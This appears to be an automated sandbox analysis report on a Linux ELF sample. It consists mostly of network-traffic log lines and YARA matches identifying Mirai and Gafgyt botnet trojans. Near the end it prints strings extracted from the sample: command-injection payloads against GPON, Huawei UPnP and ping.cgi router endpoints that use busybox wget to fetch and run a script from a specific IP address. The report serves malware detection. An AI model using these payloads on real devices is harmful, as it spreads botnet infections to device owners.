Source: unknown	Network traffic detected: HTTP traffic on port 47090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40522
Source: unknown	Network traffic detected: HTTP traffic on port 52092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49338
Source: unknown	Network traffic detected: HTTP traffic on port 44860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51678
Source: unknown	Network traffic detected: HTTP traffic on port 36690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47154
Source: unknown	Network traffic detected: HTTP traffic on port 46640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36026
Source: unknown	Network traffic detected: HTTP traffic on port 39280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40992
Source: unknown	Network traffic detected: HTTP traffic on port 49368 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57378 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48478
Source: unknown	Network traffic detected: HTTP traffic on port 45642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48476
Source: unknown	Network traffic detected: HTTP traffic on port 60298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36012
Source: unknown	Network traffic detected: HTTP traffic on port 45268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35164
Source: unknown	Network traffic detected: HTTP traffic on port 51770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40500
Source: unknown	Network traffic detected: HTTP traffic on port 36854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48466
Source: unknown	Network traffic detected: HTTP traffic on port 44516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51692
Source: unknown	Network traffic detected: HTTP traffic on port 44184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50368
Source: unknown	Network traffic detected: HTTP traffic on port 45654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39506
Source: unknown	Network traffic detected: HTTP traffic on port 55816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39508
Source: unknown	Network traffic detected: HTTP traffic on port 36780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35150
Source: unknown	Network traffic detected: HTTP traffic on port 48432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49308
Source: unknown	Network traffic detected: HTTP traffic on port 40084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50776
Source: unknown	Network traffic detected: HTTP traffic on port 43780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38250
Source: unknown	Network traffic detected: HTTP traffic on port 59544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50774
Source: unknown	Network traffic detected: HTTP traffic on port 48150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59110
Source: unknown	Network traffic detected: HTTP traffic on port 53722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59592
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41892
Source: unknown	Network traffic detected: HTTP traffic on port 33028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37392
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38240
Source: unknown	Network traffic detected: HTTP traffic on port 42004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60590
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47194
Source: unknown	Network traffic detected: HTTP traffic on port 37234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37398
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39578
Source: unknown	Network traffic detected: HTTP traffic on port 59208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41408
Source: unknown	Network traffic detected: HTTP traffic on port 48476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60582
Source: unknown	Network traffic detected: HTTP traffic on port 52944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60588
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53824
Source: unknown	Network traffic detected: HTTP traffic on port 58136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49368
Source: unknown	Network traffic detected: HTTP traffic on port 51790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49362
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39566
Source: unknown	Network traffic detected: HTTP traffic on port 42340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38238
Source: unknown	Network traffic detected: HTTP traffic on port 55546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58286
Source: unknown	Network traffic detected: HTTP traffic on port 32876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41870
Source: unknown	Network traffic detected: HTTP traffic on port 47618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49352
Source: unknown	Network traffic detected: HTTP traffic on port 39350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38224
Source: unknown	Network traffic detected: HTTP traffic on port 44896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58290
Source: unknown	Network traffic detected: HTTP traffic on port 44978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41340
Source: unknown	Network traffic detected: HTTP traffic on port 59592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51142
Source: unknown	Network traffic detected: HTTP traffic on port 41786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55500
Source: unknown	Network traffic detected: HTTP traffic on port 47642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40008
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54664
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52000
Source: unknown	Network traffic detected: HTTP traffic on port 33236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39014
Source: unknown	Network traffic detected: HTTP traffic on port 42860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44838
Source: unknown	Network traffic detected: HTTP traffic on port 45850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41324
Source: unknown	Network traffic detected: HTTP traffic on port 45346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42332 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57706
Source: unknown	Network traffic detected: HTTP traffic on port 51736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53344
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38154
Source: unknown	Network traffic detected: HTTP traffic on port 53426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53348
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56854
Source: unknown	Network traffic detected: HTTP traffic on port 39940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42642
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54208
Source: unknown	Network traffic detected: HTTP traffic on port 58896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51176
Source: unknown	Network traffic detected: HTTP traffic on port 33122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47090
Source: unknown	Network traffic detected: HTTP traffic on port 51588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53362
Source: unknown	Network traffic detected: HTTP traffic on port 46098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43962
Source: unknown	Network traffic detected: HTTP traffic on port 35692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54616
Source: unknown	Network traffic detected: HTTP traffic on port 44022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51588
Source: unknown	Network traffic detected: HTTP traffic on port 52846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53764
Source: unknown	Network traffic detected: HTTP traffic on port 42700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59078
Source: unknown	Network traffic detected: HTTP traffic on port 34080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40040
Source: unknown	Network traffic detected: HTTP traffic on port 48374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51594
Source: unknown	Network traffic detected: HTTP traffic on port 43040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41368
Source: unknown	Network traffic detected: HTTP traffic on port 37414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53304
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52460
Source: unknown	Network traffic detected: HTTP traffic on port 41348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40028
Source: unknown	Network traffic detected: HTTP traffic on port 54306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43532
Source: unknown	Network traffic detected: HTTP traffic on port 41420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38182
Source: unknown	Network traffic detected: HTTP traffic on port 38716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53314
Source: unknown	Network traffic detected: HTTP traffic on port 41238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52472
Source: unknown	Network traffic detected: HTTP traffic on port 54158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41348
Source: unknown	Network traffic detected: HTTP traffic on port 51406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47962
Source: unknown	Network traffic detected: HTTP traffic on port 48490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54260
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60936
Source: unknown	Network traffic detected: HTTP traffic on port 50844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44440
Source: unknown	Network traffic detected: HTTP traffic on port 57488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40084
Source: unknown	Network traffic detected: HTTP traffic on port 48632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33300
Source: unknown	Network traffic detected: HTTP traffic on port 33532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52092
Source: unknown	Network traffic detected: HTTP traffic on port 41324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36816
Source: unknown	Network traffic detected: HTTP traffic on port 53176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47948
Source: unknown	Network traffic detected: HTTP traffic on port 46050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43582
Source: unknown	Network traffic detected: HTTP traffic on port 41010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45762
Source: unknown	Network traffic detected: HTTP traffic on port 59410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60950
Source: unknown	Network traffic detected: HTTP traffic on port 38428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57312
Source: unknown	Network traffic detected: HTTP traffic on port 55456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39080
Source: unknown	Network traffic detected: HTTP traffic on port 34996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42246
Source: unknown	Network traffic detected: HTTP traffic on port 56552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47364 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_70ef58f1 Author: unknown
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_3a85a418 Author: unknown
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: wbUtbKZmxZ.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 Author: unknown
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3a85a418 Author: unknown
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 Author: unknown
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3a85a418 Author: unknown
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: Process Memory Space: wbUtbKZmxZ.elf PID: 6221, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: wbUtbKZmxZ.elf PID: 6249, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k/proc//proc/%d/exewgetcurlping/pswiresharktcpdumppythoniptablesnanonvimgdb/proc/maps/fd/proc/net/tcp/bin/systemd/bin/watchdog/bin/busybox/var/SofiamkdirtouchechoHTTPetherapegittelnetdsshdmysqlddropbearencoderpgrepyumtftpftpgetrebootpoweroffshutdownnetcatapt/usr/bin/usr/ftp/usr/sbinusrrm -rf && mkdir ; > && mv ; chmod 777 3f
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0POST /HNAP1/ HTTP/1.0

Source: Initial sample	Potential command found: GET /
Source: Initial sample	Potential command found: GET /HEAD /POST /HTTP/1.1 404 Not FoundServer: ApacheContent-Length: %d
Source: Initial sample	Potential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&sessionKey=1039230114'$ HTTP/1.1
